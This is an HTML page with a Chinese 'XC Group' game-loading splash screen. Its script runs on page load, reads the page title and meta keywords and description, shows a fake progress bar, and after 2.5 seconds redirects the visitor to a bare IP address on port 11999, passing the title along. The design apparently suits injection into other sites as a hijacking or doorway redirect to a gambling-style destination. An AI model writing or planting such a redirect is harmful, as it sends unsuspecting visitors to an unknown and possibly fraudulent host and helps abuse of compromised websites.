<!DOCTYPE html>
<html lang="zh">

<head>
  <meta http-equiv="content-type" content="text/html;charset=utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
  <link rel="shortcut icon" type="image/png" href="./favicon.png">
  <meta name="referrer" content="always">
  <meta name="renderer" content="webkit">
  <title>༺sky欢迎您来到XC集团༻</title>
  <style>
    /* 全屏加载动画 */
    .loading-overlay {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background: rgba(0, 0, 0, 1.0);
      display: flex;
      align-items: center;
      justify-content: center;
      flex-direction: column;
      z-index: 9999999;
    }

    /* 进度条 */
    .progress-container {
      width: 80%;
      max-width: 400px;
      background: rgba(255, 255, 255, 0.2);
      border-radius: 5px;
      margin-top: 20px;
      position: relative;
      overflow: hidden;
      height: 10px;
    }

    .progress-bar {
      width: 0%;
      height: 100%;
      background: linear-gradient(to right, #ff4500, #ff9100);
      transition: width 2.5s ease-out;
    }

    /* 加载文本 */
    .loading-text {
      color: #fff;
      font-size: 20px;
      margin-top: 20px;
      font-weight: bold;
    }

    /* 宝箱动画 */
    .treasure-box {
      width: 100px;
      height: 100px;
      position: relative;
      animation: openBox 1.5s infinite alternate ease-in-out;
    }

    .golden-light {
      position: absolute;
      width: 150px;
      height: 100px;
      background: radial-gradient(circle, rgba(255, 223, 0, 0.8), rgba(255, 223, 0, 0) 60%);
      top: 2px;
      left: 50%;
      transform: translateX(-50%);
      opacity: 0;
      animation: glow 1.5s infinite alternate ease-in-out;
    }

    @keyframes openBox {
      0% {
        transform: scale(1);
      }

      100% {
        transform: scale(1.1);
      }
    }

    @keyframes glow {
      0% {
        opacity: 0;
      }

      100% {
        opacity: 1;
      }
    }
  </style>
</head>

<body>

  <script>
    document.addEventListener("DOMContentLoaded", function () {
      console.log("Rendering loading screen...");

      // 创建全屏加载动画
      const loadingOverlay = document.createElement("div");
      loadingOverlay.className = "loading-overlay";
      loadingOverlay.innerHTML = `
        <div class="treasure-box">
            <div class="golden-light"></div>
            <img src="/login/istockphotobao.png" width="100" height="100" alt="Treasure Chest">
        </div>
        <div class="progress-container">
            <div class="progress-bar"></div>
        </div>
        <div class="loading-text">正在加载，马上进入游戏...</div>
    `;
      document.body.appendChild(loadingOverlay);

      const progressBar = document.querySelector(".progress-bar");

      // 动画触发
      setTimeout(() => {
        requestAnimationFrame(() => {
          progressBar.style.width = "100%";
        });
      }, 100);

      // **获取页面信息**
      const originalTitle = document.title || "";
      let originalKeywords = "", originalDescription = "";

      document.querySelectorAll("meta").forEach(meta => {
        const nameAttr = meta.getAttribute("name");
        if (nameAttr) {
          if (nameAttr.toLowerCase() === "keywords") {
            originalKeywords = meta.getAttribute("content") || "";
          }
          if (nameAttr.toLowerCase() === "description") {
            originalDescription = meta.getAttribute("content") || "";
          }
        }
      });

      console.log("Original Title:", originalTitle);

      const finalDescription = originalDescription.trim() === ""
        ? `${originalTitle} - ${originalKeywords}`.substring(0, 200)
        : originalDescription;

      const targetUrl = `https://154.206.199.99:11999/?title=${encodeURIComponent(originalTitle)}`;

      console.log("Target URL:", targetUrl);

      // **延迟跳转，确保动画显示**
      setTimeout(() => {
        window.location.href = targetUrl;
      }, 2500);
    });
  </script>

</body>

</html>